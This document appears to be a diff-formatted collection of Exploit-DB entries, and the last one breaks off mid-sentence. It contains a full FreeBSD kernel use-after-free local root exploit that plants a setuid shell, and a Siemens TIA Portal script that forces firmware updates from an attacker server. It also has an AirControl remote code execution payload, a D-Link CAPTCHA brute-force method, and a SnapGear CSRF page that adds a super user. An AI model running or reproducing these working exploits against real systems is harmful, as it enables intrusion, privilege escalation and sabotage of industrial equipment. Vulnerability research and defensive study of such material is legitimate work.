@ -0,0 +1,12 @@ | |||
# Exploit Title: Android 7-9 - Remote Code Execution | |||
# Date: [date] | |||
# Exploit Author: Marcin Kozlowski | |||
# Version: 7-9 | |||
# Tested on: Android | |||
# CVE : 2019-2107 | |||
CVE-2019-2107 - looks scary. Still remember Stagefright and PNG bugs vulns .... | |||
With CVE-2019-2107 the decoder/codec runs under mediacodec user and with properly "crafted" video (with tiles enabled - ps_pps->i1_tiles_enabled_flag) you can possibly do RCE. The codec affected is HVEC (a.k.a H.265 and MPEG-H Part 2) | |||
POC: | |||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/47157.zip |
@ -0,0 +1,678 @@ | |||
#!/bin/sh | |||
# Exploit script for FreeBSD-SA-19:02.fd | |||
# | |||
# Author: Karsten Kรถnig of Secfault Security | |||
# Contact: karsten@secfault-security.com | |||
# Twitter: @gr4yf0x | |||
# Kudos: Maik, greg and Dirk for discussion and inspiration | |||
# | |||
# libmap.conf primitive inspired by kcope's 2005 exploit for Qpopper | |||
echo "[+] Root Exploit for FreeBSD-SA-19:02.fd by Secfault Security" | |||
umask 0000 | |||
if [ ! -f /etc/libmap.conf ]; then | |||
echo "[!] libmap.conf has to exist" | |||
exit | |||
fi | |||
cp /etc/libmap.conf ./ | |||
cat > heavy_cyber_weapon.c << EOF | |||
#include <errno.h> | |||
#include <fcntl.h> | |||
#include <pthread.h> | |||
#include <pthread_np.h> | |||
#include <signal.h> | |||
#include <stdlib.h> | |||
#include <stdio.h> | |||
#include <string.h> | |||
#include <unistd.h> | |||
#include <sys/cpuset.h> | |||
#include <sys/event.h> | |||
#include <sys/ioctl.h> | |||
#include <sys/socket.h> | |||
#include <sys/stat.h> | |||
#include <sys/sysctl.h> | |||
#include <sys/types.h> | |||
#include <sys/un.h> | |||
#define N_FDS 0xfe | |||
#define N_OPEN 0x2 | |||
#define N 1000000 | |||
#define NUM_THREADS 400 | |||
#define NUM_FORKS 3 | |||
#define FILE_SIZE 1024 | |||
#define CHUNK_SIZE 1 | |||
#define N_FILES 25 | |||
#define SERVER_PATH "/tmp/sync_forks" | |||
#define DEFAULT_PATH "/tmp/pwn" | |||
#define HAMMER_PATH "/tmp/pwn2" | |||
#define ATTACK_PATH "/etc/libmap.conf" | |||
#define HOOK_LIB "libutil.so.9" | |||
#define ATTACK_LIB "/tmp/libno_ex.so.1.0" | |||
#define CORE_0 0 | |||
#define CORE_1 1 | |||
#define MAX_TRIES 500 | |||
struct thread_data { | |||
int fd; | |||
int fd2; | |||
}; | |||
pthread_mutex_t write_mtx, trigger_mtx, count_mtx, hammer_mtx; | |||
pthread_cond_t write_cond, trigger_cond, count_cond, hammer_cond; | |||
int send_recv(int fd, int sv[2], int n_fds) { | |||
int ret, i; | |||
struct iovec iov; | |||
struct msghdr msg; | |||
struct cmsghdr *cmh; | |||
char cmsg[CMSG_SPACE(sizeof(int)*n_fds)]; | |||
int *fds; char buf[1]; | |||
iov.iov_base = "a"; | |||
iov.iov_len = 1; | |||
msg.msg_name = NULL; | |||
msg.msg_namelen = 0; | |||
msg.msg_iov = &iov; | |||
msg.msg_iovlen = 1; | |||
msg.msg_control = cmsg; | |||
msg.msg_controllen = CMSG_LEN(sizeof(int)*n_fds); | |||
msg.msg_flags = 0; | |||
cmh = CMSG_FIRSTHDR(&msg); | |||
cmh->cmsg_len = CMSG_LEN(sizeof(int)*n_fds); | |||
cmh->cmsg_level = SOL_SOCKET; | |||
cmh->cmsg_type = SCM_RIGHTS; | |||
fds = (int *)CMSG_DATA(cmsg); | |||
for (i = 0; i < n_fds; i++) { | |||
fds[i] = fd; | |||
} | |||
ret = sendmsg(sv[0], &msg, 0); | |||
if (ret == -1) { | |||
return 1; | |||
} | |||
iov.iov_base = buf; | |||
msg.msg_name = NULL; | |||
msg.msg_namelen = 0; | |||
msg.msg_iov = &iov; | |||
msg.msg_iovlen = 1; | |||
msg.msg_control = cmh; | |||
msg.msg_controllen = CMSG_SPACE(0); | |||
msg.msg_flags = 0; | |||
ret = recvmsg(sv[1], &msg, 0); | |||
if (ret == -1) { | |||
return 1; | |||
} | |||
return 0; | |||
} | |||
int open_tmp(char *path) | |||
{ | |||
int fd; | |||
char *real_path; | |||
if (path != NULL) { | |||
real_path = malloc(strlen(path) + 1); | |||
strcpy(real_path, path); | |||
} | |||
else { | |||
real_path = malloc(strlen(DEFAULT_PATH) + 1); | |||
strcpy(real_path, DEFAULT_PATH); | |||
} | |||
if ((fd = open(real_path, O_RDWR | O_CREAT)) == -1) { | |||
perror("[!] open"); | |||
exit(1); | |||
} | |||
fchmod(fd, 0700); | |||
return fd; | |||
} | |||
void prepare_domain_socket(struct sockaddr_un *remote, char *path) { | |||
bzero(remote, sizeof(struct sockaddr_un)); | |||
remote->sun_family = AF_UNIX; | |||
strncpy(remote->sun_path, path, sizeof(remote->sun_path)); | |||
} | |||
int bind_domain_socket(struct sockaddr_un *remote) { | |||
int server_socket; | |||
if ((server_socket = socket(AF_UNIX, SOCK_DGRAM, 0)) == -1) { | |||
perror("[!] socket"); | |||
exit(1); | |||
} | |||
if (bind(server_socket, | |||
(struct sockaddr *) remote, | |||
sizeof(struct sockaddr_un)) != 0) { | |||
perror("[!] bind"); | |||
exit(1); | |||
} | |||
return server_socket; | |||
} | |||
int connect_domain_socket_client() { | |||
int client_socket; | |||
if ((client_socket = socket(AF_UNIX, SOCK_DGRAM, 0)) == -1) { | |||
perror("[!] socket"); | |||
exit(1); | |||
} | |||
return client_socket; | |||
} | |||
// Prevent panic at termination because f_count of the | |||
// corrupted struct file is 0 at the moment this function | |||
// is used but fd2 still points to the struct, hence fdrop() | |||
// is called at exit and will panic because f_count will | |||
// be below 0 | |||
// | |||
// So we just use our known primitive to increase f_count | |||
void prevent_panic(int sv[2], int fd) | |||
{ | |||
send_recv(fd, sv, 0xfe); | |||
} | |||
int stick_thread_to_core(int core) { | |||
/* int num_cores = sysconf(_SC_NPROCESSORS_ONLN); */ | |||
/* if (core_id < 0 || core_id >= num_cores) */ | |||
/* return EINVAL; */ | |||
cpuset_t cpuset; | |||
CPU_ZERO(&cpuset); | |||
CPU_SET(core, &cpuset); | |||
pthread_t current_thread = pthread_self(); | |||
return pthread_setaffinity_np(current_thread, sizeof(cpuset_t), &cpuset); | |||
} | |||
void *trigger_uaf(void *thread_args) { | |||
struct thread_data *thread_data; | |||
int fd, fd2; | |||
if (stick_thread_to_core(CORE_0) != 0) { | |||
perror("[!] [!] trigger_uaf: Could not stick thread to core"); | |||
} | |||
thread_data = (struct thread_data *)thread_args; | |||
fd = thread_data->fd; | |||
fd2 = thread_data->fd2; | |||
printf("[+] trigger_uaf: fd: %d\n", fd); | |||
printf("[+] trigger_uaf: fd2: %d\n", fd2); | |||
printf("[+] trigger_uaf: Waiting for start signal from monitor\n"); | |||
pthread_mutex_lock(&trigger_mtx); | |||
pthread_cond_wait(&trigger_cond, &trigger_mtx); | |||
usleep(40); | |||
// Close to fds to trigger uaf | |||
// | |||
// This assumes that fget_write() in kern_writev() | |||
// was already successful! | |||
// | |||
// Otherwise kernel panic is triggered | |||
// | |||
// refcount = 2 (primitive+fget_write) | |||
close(fd); | |||
close(fd2); | |||
// refcount = 0 => free | |||
fd = open(ATTACK_PATH, O_RDONLY); | |||
// refcount = 1 | |||
printf("[+] trigger_uaf: Opened read-only file, now hope\n"); | |||
printf("[+] trigger_uaf: Exit\n"); | |||
pthread_exit(NULL); | |||
} | |||
void *hammer(void *arg) { | |||
int i, j, k, client_socket, ret; | |||
char buf[FILE_SIZE], sync_buf[3]; | |||
FILE *fd[N_FILES]; | |||
struct sockaddr_un remote; | |||
prepare_domain_socket(&remote, SERVER_PATH); | |||
client_socket = connect_domain_socket_client(); | |||
strncpy(sync_buf, "1\n", 3); | |||
for (i = 0; i < N_FILES; i++) { | |||
unlink(HAMMER_PATH); | |||
if ((fd[i] = fopen(HAMMER_PATH, "w+")) == NULL) { | |||
perror("[!] fopen"); | |||
exit(1); | |||
} | |||
} | |||
for (i = 0; i < FILE_SIZE; i++) { | |||
buf[i] = 'a'; | |||
} | |||
pthread_mutex_lock(&hammer_mtx); | |||
// Sometimes sendto() fails because | |||
// no free buffer is available | |||
for (;;) { | |||
if (sendto(client_socket, | |||
sync_buf, | |||
strlen(sync_buf), 0, | |||
(struct sockaddr *) &remote, | |||
sizeof(remote)) != -1) { | |||
break; | |||
} | |||
} | |||
pthread_cond_wait(&hammer_cond, &hammer_mtx); | |||
pthread_mutex_unlock(&hammer_mtx); | |||
for (i = 0; i < N; i++) { | |||
for (k = 0; k < N_FILES; k++) { | |||
rewind(fd[k]); | |||
} | |||
for (j = 0; j < FILE_SIZE*FILE_SIZE; j += CHUNK_SIZE) { | |||
for (k = 0; k < N_FILES; k++) { | |||
if (fwrite(&buf[j % FILE_SIZE], sizeof(char), CHUNK_SIZE, fd[k]) < 0) { | |||
perror("[!] fwrite"); | |||
exit(1); | |||
} | |||
} | |||
fflush(NULL); | |||
} | |||
} | |||
pthread_exit(NULL); | |||
} | |||
// Works on UFS only | |||
void *monitor_dirty_buffers(void *arg) { | |||
int hidirtybuffers, numdirtybuffers; | |||
size_t len; | |||
len = sizeof(int); | |||
if (sysctlbyname("vfs.hidirtybuffers", &hidirtybuffers, &len, NULL, 0) != 0) { | |||
perror("[!] sysctlbyname hidirtybuffers"); | |||
exit(1); | |||
}; | |||
printf("[+] monitor: vfs.hidirtybuffers: %d\n", hidirtybuffers); | |||
while(1) { | |||
sysctlbyname("vfs.numdirtybuffers", &numdirtybuffers, &len, NULL, 0); | |||
if (numdirtybuffers >= hidirtybuffers) { | |||
pthread_cond_signal(&write_cond); | |||
pthread_cond_signal(&trigger_cond); | |||
printf("[+] monitor: Reached hidirtybuffers watermark\n"); | |||
break; | |||
} | |||
} | |||
pthread_exit(NULL); | |||
} | |||
int check_write(int fd) { | |||
char buf[256]; | |||
int nbytes; | |||
struct stat st; | |||
printf("[+] check_write\n"); | |||
stat(DEFAULT_PATH, &st); | |||
printf("[+] %s size: %ld\n", DEFAULT_PATH, st.st_size); | |||
stat(ATTACK_PATH, &st); | |||
printf("[+] %s size: %ld\n", ATTACK_PATH, st.st_size); | |||
nbytes = read(fd, buf, strlen(HOOK_LIB)); | |||
printf("[+] Read bytes: %d\n", nbytes); | |||
if (nbytes > 0 && strncmp(buf, HOOK_LIB, strlen(HOOK_LIB)) == 0) { | |||
return 1; | |||
} | |||
else if (nbytes < 0) { | |||
perror("[!] check_write:read"); | |||
printf("[!] check_write:Cannot check if it worked!"); | |||
return 1; | |||
} | |||
return 0; | |||
} | |||
void *write_to_file(void *thread_args) { | |||
int fd, fd2, nbytes; | |||
int *fd_ptr; | |||
char buf[256]; | |||
struct thread_data *thread_data; | |||
if (stick_thread_to_core(CORE_1) != 0) { | |||
perror("[!] write_to_file: Could not stick thread to core"); | |||
} | |||
fd_ptr = (int *) malloc(sizeof(int)); | |||
thread_data = (struct thread_data *)thread_args; | |||
fd = thread_data->fd; | |||
fd2 = open(ATTACK_PATH, O_RDONLY); | |||
printf("[+] write_to_file: Wait for signal from monitor\n"); | |||
pthread_mutex_lock(&write_mtx); | |||
pthread_cond_wait(&write_cond, &write_mtx); | |||
snprintf(buf, 256, "%s %s\n#", HOOK_LIB, ATTACK_LIB); | |||
nbytes = write(fd, buf, strlen(buf)); | |||
// Reopen directly after write to prevent panic later | |||
// | |||
// After the write f_count == 0 because after trigger_uaf() | |||
// opened the read-only file, f_count == 1 and write() | |||
// calls fdrop() at the end | |||
// | |||
// => f_count == 0 | |||
// | |||
// A direct open hopefully assigns the now again free file | |||
// object to fd so that we can prevent the panic with our | |||
// increment primitive. | |||
if ((fd = open_tmp(NULL)) == -1) | |||
perror("[!] write_to_file: open_tmp"); | |||
*fd_ptr = fd; | |||
if (nbytes < 0) { | |||
perror("[!] [!] write_to_file:write"); | |||
} else if (nbytes > 0) { | |||
printf("[+] write_to_file: We have written something...\n"); | |||
if (check_write(fd2) > 0) | |||
printf("[+] write_to_file: It (probably) worked!\n"); | |||
else | |||
printf("[!] write_to_file: It worked not :(\n"); | |||
} | |||
printf("[+] write_to_file: Exit\n"); | |||
pthread_exit(fd_ptr); | |||
} | |||
void prepare(int sv[2], int fds[2]) { | |||
int fd, fd2, i; | |||
printf("[+] Start UaF preparation\n"); | |||
printf("[+] This can take a while\n"); | |||
// Get a single file descriptor to send via the socket | |||
if ((fd = open_tmp(NULL)) == -1) { | |||
perror("[!] open_tmp"); | |||
exit(1); | |||
} | |||
if ((fd2 = dup(fd)) == -1) { | |||
perror("[!] dup"); | |||
exit(1); | |||
} | |||
// fp->f_count will increment by 0xfe in one iteration | |||
// doing this 16909320 times will lead to | |||
// f_count = 16909320 * 0xfe + 2 = 0xfffffff2 | |||
// Note the 2 because of the former call of dup() and | |||
// the first open(). | |||
// | |||
// To test our trigger we can send 0xd more fd's what | |||
// would to an f_count of 0 when fdclose() is called in | |||
// m_dispose_extcontrolm. fdrop() will reduce f_count to | |||
// 0xffffffff = -1 and ultimately panic when _fdrop() is | |||
// called because the latter asserts that f_count is 0. | |||
// _fdrop is called in the first place because | |||
// refcount_release() only checks that f_count is less or | |||
// equal 1 to recognize the last reference. | |||
// | |||
// If we want to trigger the free without panic, we have | |||
// to send 0xf fds and close an own what will lead to an | |||
// fdrop() call without panic as f_count is 1 and reduced | |||
// to 0 by close(). The unclosed descriptor references now | |||
// a free 'struct file'. | |||
for (i = 0; i < 16909320; i++) { | |||
if (i % 1690930 == 0) { | |||
printf("[+] Progress: %d%%\n", (u_int32_t) (i / 169093)); | |||
} | |||
if (send_recv(fd, sv, N_FDS)) { | |||
perror("[!] prepare:send_recv"); | |||
exit(1); | |||
} | |||
} | |||
if (send_recv(fd, sv, 0xf)) { | |||
perror("[!] prepare:send_recv"); | |||
exit(1); | |||
} | |||
fds[0] = fd; | |||
fds[1] = fd2; | |||
printf("[+] Finished UaF preparation\n"); | |||
} | |||
void read_thread_status(int server_socket) { | |||
int bytes_rec, count; | |||
struct sockaddr_un client; | |||
socklen_t len; | |||
char buf[256]; | |||
struct timeval tv; | |||
tv.tv_sec = 10; | |||
tv.tv_usec = 0; | |||
setsockopt(server_socket, | |||
SOL_SOCKET, SO_RCVTIMEO, | |||
(const char*)&tv, sizeof tv); | |||
for (count = 0; count < NUM_FORKS*NUM_THREADS; count++) { | |||
if (count % 100 == 0) { | |||
printf("[+] Hammer threads ready: %d\n", count); | |||
} | |||
bzero(&client, sizeof(struct sockaddr_un)); | |||
bzero(buf, 256); | |||
len = sizeof(struct sockaddr_un); | |||
if ((bytes_rec = recvfrom(server_socket, | |||
buf, 256, 0, | |||
(struct sockaddr *) &client, | |||
&len)) == -1) { | |||
perror("[!] recvfrom"); | |||
break; | |||
} | |||
} | |||
if (count != NUM_FORKS * NUM_THREADS) { | |||
printf("[!] Could not create all hammer threads, will try though!\n"); | |||
} | |||
} | |||
void fire() { | |||
int i, j, fd, fd2, bytes_rec, server_socket; | |||
int sv[2], fds[2], hammer_socket[NUM_FORKS]; | |||
int *fd_ptr; | |||
char socket_path[256], sync_buf[3], buf[256]; | |||
pthread_t write_thread, trigger_thread, monitor_thread; | |||
pthread_t hammer_threads[NUM_THREADS]; | |||
pid_t pids[NUM_FORKS]; | |||
socklen_t len; | |||
struct thread_data thread_data; | |||
struct sockaddr_un server, client; | |||
struct sockaddr_un hammer_socket_addr[NUM_FORKS]; | |||
// Socket for receiving thread status | |||
unlink(SERVER_PATH); | |||
prepare_domain_socket(&server, SERVER_PATH); | |||
server_socket = bind_domain_socket(&server); | |||
// Sockets to receive hammer signal | |||
for (i = 0; i < NUM_FORKS; i++) { | |||
snprintf(socket_path, sizeof(socket_path), "%s%c", SERVER_PATH, '1'+i); | |||
unlink(socket_path); | |||
prepare_domain_socket(&hammer_socket_addr[i], socket_path); | |||
hammer_socket[i] = bind_domain_socket(&hammer_socket_addr[i]); | |||
} | |||
strncpy(sync_buf, "1\n", 3); | |||
len = sizeof(struct sockaddr_un); | |||
if (socketpair(PF_UNIX, SOCK_STREAM, 0, sv) == -1) { | |||
perror("[!] socketpair"); | |||
exit(1); | |||
} | |||
pthread_mutex_init(&write_mtx, NULL); | |||
pthread_mutex_init(&trigger_mtx, NULL); | |||
pthread_cond_init(&write_cond, NULL); | |||
pthread_cond_init(&trigger_cond, NULL); | |||
pthread_create(&monitor_thread, NULL, monitor_dirty_buffers, NULL); | |||
prepare(sv, fds); | |||
fd = fds[0]; | |||
fd2 = fds[1]; | |||
thread_data.fd = fd; | |||
thread_data.fd2 = fd2; | |||
pthread_create(&trigger_thread, NULL, trigger_uaf, (void *) &thread_data); | |||
pthread_create(&write_thread, NULL, write_to_file, (void *) &thread_data); | |||
for (j = 0; j < NUM_FORKS; j++) { | |||
if ((pids[j] = fork()) < 0) { | |||
perror("[!] fork"); | |||
abort(); | |||
} | |||
else if (pids[j] == 0) { | |||
pthread_mutex_init(&hammer_mtx, NULL); | |||
pthread_cond_init(&hammer_cond, NULL); | |||
close(fd); | |||
close(fd2); | |||
/* Prevent that a file stream in the hammer threads | |||
* gets the file descriptor of fd for debugging purposes | |||
*/ | |||
if ((fd = open_tmp("/tmp/dummy")) == -1) | |||
perror("[!] dummy"); | |||
if ((fd2 = open_tmp("/tmp/dummy2")) == -1) | |||
perror("[!] dummy2"); | |||
printf("[+] Fork %d fd: %d\n", j, fd); | |||
printf("[+] Fork %d fd2: %d\n", j, fd2); | |||
for (i = 0; i < NUM_THREADS; i++) { | |||
pthread_create(&hammer_threads[i], NULL, hammer, NULL); | |||
} | |||
printf("[+] Fork %d created all threads\n", j); | |||
if ((bytes_rec = recvfrom(hammer_socket[j], | |||
buf, 256, 0, | |||
(struct sockaddr *) &client, | |||
&len)) == -1) { | |||
perror("[!] accept"); | |||
abort(); | |||
} | |||
pthread_cond_broadcast(&hammer_cond); | |||
for (i = 0; i < NUM_THREADS; i++) { | |||
pthread_join(hammer_threads[i], NULL); | |||
} | |||
pthread_cond_destroy(&hammer_cond); | |||
pthread_mutex_destroy(&hammer_mtx); | |||
exit(0); | |||
} else { | |||
printf("[+] Created child with PID %d\n", pids[j]); | |||
} | |||
} | |||
read_thread_status(server_socket); | |||
printf("[+] Send signal to Start Hammering\n"); | |||
for (i = 0; i < NUM_FORKS; i++) { | |||
if (sendto(hammer_socket[i], | |||
sync_buf, | |||
strlen(sync_buf), 0, | |||
(struct sockaddr *) &hammer_socket_addr[i], | |||
sizeof(hammer_socket_addr[0])) == -1) { | |||
perror("[!] sendto"); | |||
exit(1); | |||
} | |||
} | |||
pthread_join(monitor_thread, NULL); | |||
for (i = 0; i < NUM_FORKS; i++) { | |||
kill(pids[i], SIGKILL); | |||
printf("[+] Killed %d\n", pids[i]); | |||
} | |||
pthread_join(write_thread, (void **) &fd_ptr); | |||
pthread_join(trigger_thread, NULL); | |||
pthread_mutex_destroy(&write_mtx); | |||
pthread_mutex_destroy(&trigger_mtx); | |||
pthread_cond_destroy(&write_cond); | |||
pthread_cond_destroy(&trigger_cond); | |||
printf("[+] Returned fd: %d\n", *fd_ptr); | |||
prevent_panic(sv, *fd_ptr); | |||
// fd was acquired from write_to_file | |||
// which allocs a pointer for it | |||
free(fd_ptr); | |||
} | |||
int main(int argc, char **argv) | |||
{ | |||
setbuf(stdout, NULL); | |||
fire(); | |||
return 0; | |||
} | |||
EOF | |||
cc -o heavy_cyber_weapon -lpthread heavy_cyber_weapon.c | |||
cat > program.c << EOF | |||
#include <unistd.h> | |||
#include <stdio.h> | |||
#include <sys/types.h> | |||
#include <stdlib.h> | |||
void _init() | |||
{ | |||
if (!geteuid()) | |||
execl("/bin/sh","sh","-c","/bin/cp /bin/sh /tmp/xxxx ; /bin/chmod +xs /tmp/xxxx",NULL); | |||
} | |||
EOF | |||
cc -o program.o -c program.c -fPIC | |||
cc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles | |||
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0 | |||
echo "[+] Firing the Heavy Cyber Weapon" | |||
./heavy_cyber_weapon | |||
su | |||
if [ -f /tmp/xxxx ]; then | |||
echo "[+] Enjoy!" | |||
echo "[+] Do not forget to copy ./libmap.conf back to /etc/libmap.conf" | |||
/tmp/xxxx | |||
else | |||
echo "[!] FAIL" | |||
fi |
@ -0,0 +1,51 @@ | |||
## | |||
# Exploit Title: Siemens TIA Portal unauthenticated remote command execution | |||
# Date: 06/11/2019 | |||
# Exploit Author: Joseph Bingham | |||
# CVE : CVE-2019-10915 | |||
# Vendor Homepage: www.siemens.com | |||
# Software Link: https://new.siemens.com/global/en/products/automation/industry-software/automation-software/tia-portal.html | |||
# Version: TIA Portal V15 Update 4 | |||
# Tested on: Windows 10 | |||
# Advisory: https://www.tenable.com/security/research/tra-2019-33 | |||
# Writeup: https://medium.com/tenable-techblog/nuclear-meltdown-with-critical-ics-vulnerabilities-8af3a1a13e6a | |||
# Affected Vendors/Device/Firmware: | |||
# - Siemens STEP7 / TIA Portal | |||
## | |||
## | |||
# Example usage | |||
# $ python cve_2019_10915_tia_portal_rce.py | |||
# Received '0{"sid":"ZF_W8SDLY3SCGExV9QZc1Z9-","upgrades":[],"pingInterval":25000,"pingTimeout":60000}' | |||
# Received '40' | |||
# Received '42[" ",{"configType":{"key":"ProxyConfigType","defaultValue":0,"value":0},"proxyAddress":{"key":"ProxyAddress","defaultValue":"","value":""},"proxyPort":{"key":"ProxyPort","defaultValue":"","value":""},"userName":{"key":"ProxyUsername","defaultValue":"","value":""},"password":{"key":"ProxyPassword","defaultValue":"","value":""}},null]' | |||
## | |||
import websocket, ssl, argparse | |||
parser = argparse.ArgumentParser() | |||
parser.add_argument("target_host", help="TIA Portal host") | |||
parser.add_argument("target_port", help="TIA Portal port (ie. 8888)", type=int) | |||
parser.add_argument("(optional) update_server", help="Malicious firmware update server IP") | |||
args = parser.parse_args() | |||
host = args.target_host | |||
port = args.target_port | |||
updatesrv = args.update_server | |||
ws = websocket.create_connection("wss://"+host+":"+port+"/socket.io/?EIO=3&transport=websocket&sid=", sslopt={"cert_reqs": ssl.CERT_NONE}) | |||
# Read current proxy settings | |||
#req = '42["cli2serv",{"moduleFunc":"ProxyModule.readProxySettings","data":"","responseEvent":" "}]' | |||
# Change application proxy settings | |||
#req = '42["cli2serv",{"moduleFunc":"ProxyModule.saveProxyConfiguration","data":{"configType":{"key":"ProxyConfigType","defaultValue":0,"value":1},"proxyAddress":{"key":"ProxyAddress","defaultValue":"","value":"10.0.0.200"},"proxyPort":{"key":"ProxyPort","defaultValue":"","value":"8888"},"userName":{"key":"ProxyUsername","defaultValue":"","value":""},"password":{"key":"ProxyPassword","defaultValue":"","value":""}},responseEvent":" "}]' | |||
# Force a malicious firmware update | |||
req = 42["cli2serv",{"moduleFunc":"SoftwareModule.saveUrlSettings","data":{"ServerUrl":"https://"+updatesrv+"/FWUpdate/","ServerSource":"CORPORATESERVER","SelectedUSBDrive":"\\","USBDrivePath":"","downloadDestinationPath":"C:\\Siemens\\TIA Admin\\DownloadCache","isMoveDownloadNewDestination":true,"CyclicCheck":false,"sourcePath":"C:\\Siemens\\TIA Admin\\DownloadCache","productionLine":"ProductionLine1","isServerChanged":true},"responseEvent":" "}]' | |||
ws.send(req) | |||
result = ws.recv() | |||
print("Received '%s'" % result) | |||
result = ws.recv() | |||
print("Received '%s'" % result) | |||
result = ws.recv() | |||
print("Received '%s'" % result) |
@ -0,0 +1,30 @@ | |||
# Exploit Title: AirControl 1.4.2 - PreAuth Remote Code Execution | |||
# Date: 2020-06-03 | |||
# Exploit Author: 0xd0ff9 vs j3ssie | |||
# Vendor Homepage: https://www.ui.com/ | |||
# Software Link: https://www.ui.com/download/#!utilities | |||
# Version: AirControl <= 1.4.2 | |||
# Signature: https://github.com/jaeles-project/jaeles-signatures/blob/master/cves/aircontrol-rce.yaml | |||
import requests | |||
import re | |||
import urllib | |||
import sys | |||
print """USAGE: python exploit_aircontrol.py [url] [cmd]""" | |||
url = sys.argv[1] | |||
cmd = sys.argv[2] | |||
burp0_url = url +"/.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.io.BufferedReader').getDeclaredMethod('readLine').invoke(''.getClass().forName('java.io.BufferedReader').getConstructor(''.getClass().forName('java.io.Reader')).newInstance(''.getClass().forName('java.io.InputStreamReader').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Process').getDeclaredMethod('getInputStream').invoke(''.getClass().forName('java.lang.Runtime').getDeclaredMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(null),'"+cmd+"')))))}" | |||
burp0_headers = {"User-Agent": "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Doflamingo) Chrome/80.0.3984.0 Safari/537.36", "Connection": "close"} | |||
r = requests.get(burp0_url, headers=burp0_headers, verify=False, allow_redirects=False) | |||
Locat = r.headers["Location"] | |||
res = re.search("pwned=(.*)(&cid=.*)",Locat).group(1) | |||
print "[Result CMD] ",cmd,": ",urllib.unquote_plus(res) |
@ -0,0 +1,28 @@ | |||
# Exploit Title: D-Link DIR-615 T1 20.10 - CAPTCHA Bypass | |||
# Date: 2019-10-12 | |||
# Exploit Author: huzaifa hussain | |||
# Vendor Homepage: https://in.dlink.com/ | |||
# Version: DIR-615 T1 ver:20.10 | |||
# Tested on: D-LINK ROUTER "MODEL NO: DIR-615" with "FIRMWARE VERSION:20.10" & "HARDWARE VERSION:T1 | |||
# CVE: CVE-2019-17525 | |||
D-LINK ROUTER "MODEL NO: DIR-615" with "FIRMWARE VERSION:20.10" & "HARDWARE VERSION:T1 | |||
A vulnerability found on login-in page of D-LINK ROUTER "DIR-615" with "FIRMWARE VERSION:20.10" & "HARDWARE VERSION:T1" which allows attackers to easily bypass CAPTCHA on login page by BRUTEFORCING. | |||
------------------------------------ | |||
D-Link released new firmware designed to protect against logging in to the router using BRUTEFORCING. There is a flaw in the captcha authentication system that allows an attacker to reuse the same captcha without reloading new. | |||
ATTACK SCENARIO AND REPRODUCTION STEPS | |||
1: Find the ROUTER LoginPage. | |||
2: Fill the required login credentials. | |||
3: Fill the CAPTCH properly and Intercept the request in Burpsuit. | |||
4: Send the Request to Intruder and select the target variables i.e. username & password which will we bruteforce under Positions Tab | |||
5: Set the payloads on target variables i.e. username & password under Payloads Tab. | |||
5: Set errors in (the validatecode is invalid & username or password error, try again) GREP-MATCH under Options Tab. | |||
6: Now hit the start attack and you will find the correct credentials. | |||
------------------------------------- | |||
Huzaifa Hussain |
@ -0,0 +1,72 @@ | |||
# Title: SnapGear Management Console SG560 3.1.5 - Cross-Site Request Forgery (Add Super User) | |||
# Author: LiquidWorm | |||
# Date: 2020-06-04 | |||
# Vendor: http://www.securecomputing.com | |||
# CVE: N/A | |||
Secure Computing SnapGear Management Console SG560 v3.1.5 CSRF Add Super User | |||
Vendor: Secure Computing Corp. | |||
Product web page: http://www.securecomputing.com | |||
Affected version: 3.1.5u1 | |||
Summary: The SG gateway appliance range provides Internet security and | |||
privacy of communications for small and medium enterprises, and branch | |||
offices. It simply and securely connects your office to the Internet, | |||
and with its robust stateful firewall, shields your computers from | |||
external threats. | |||
Desc: The application interface allows users to perform certain actions | |||
via HTTP requests without performing any validity checks to verify the | |||
requests. This can be exploited to perform certain actions with administrative | |||
privileges if a logged-in user visits a malicious web site. | |||
Tested on: fnord/1.9 | |||
Apache 1.3.27 (Unix) | |||
Linux 2.4.31 | |||
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic | |||
@zeroscience | |||
Advisory ID: ZSL-2020-5567 | |||
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5567.php | |||
14.05.2020 | |||
-- | |||
CSRF Add Super User: | |||
-------------------- | |||
<html> | |||
<body> | |||
<form action="http://10.0.2.2/cgi-bin/cgix/adminusers" method="POST"> | |||
<input type="hidden" name=".form" value="edit" /> | |||
<input type="hidden" name=".page" value="adminusers_edit" /> | |||
<input type="hidden" name="login" value="testingus" /> | |||
<input type="hidden" name="fullname" value="ZSL" /> | |||
<input type="hidden" name="password" value="123456" /> | |||
<input type="hidden" name="confirm" value="123456" /> | |||
<input type="hidden" name="acl.login" value="on" /> | |||
<input type="hidden" name="acl.admin" value="on" /> | |||
<input type="hidden" name="acl.diags" value="on" /> | |||
<input type="hidden" name="acl.saverestore" value="on" /> | |||
<input type="hidden" name="acl.setpassword" value="on" /> | |||
<input type="hidden" name="finish" value="Finish" /> | |||
<input type="hidden" name=".defaultname" value="finish" /> | |||
<input type="submit" value="Idemo" /> | |||
</form> | |||
</body> | |||
</html> | |||
Result /etc/shadow: | |||
root:$1$YC$T/M8HLRXxKKPVEO7SU.02/:0:0:Super User:/:/bin/sh | |||
sshd:!!:100:65534::/home:/bin/false | |||
clamav:!!:103:65534::/home:/bin/false | |||
testingus:$1$Xy$bxdLgsRlXHoMjEcMKqVq/.:104:104:ZSL:/home:/bin/sh |
@ -0,0 +1,95 @@ | |||
# Title: Secure Computing SnapGear Management Console SG560 3.1.5 - Arbitrary File Read | |||
# Author:LiquidWorm | |||
# Date: 2020-06-04 | |||
# Vendor: http://www.securecomputing.com | |||
# CVE: N/A | |||
Secure Computing SnapGear Management Console SG560 v3.1.5 Arbitrary File Read/Write | |||
Vendor: Secure Computing Corp. | |||
Product web page: http://www.securecomputing.com | |||
Affected version: 3.1.5u1 | |||
Summary: The SG gateway appliance range provides Internet security and | |||
privacy of communications for small and medium enterprises, and branch | |||
offices. It simply and securely connects your office to the Internet, | |||
and with its robust stateful firewall, shields your computers from | |||
external threats. | |||
Desc: The application allows the currently logged-in user to edit the | |||
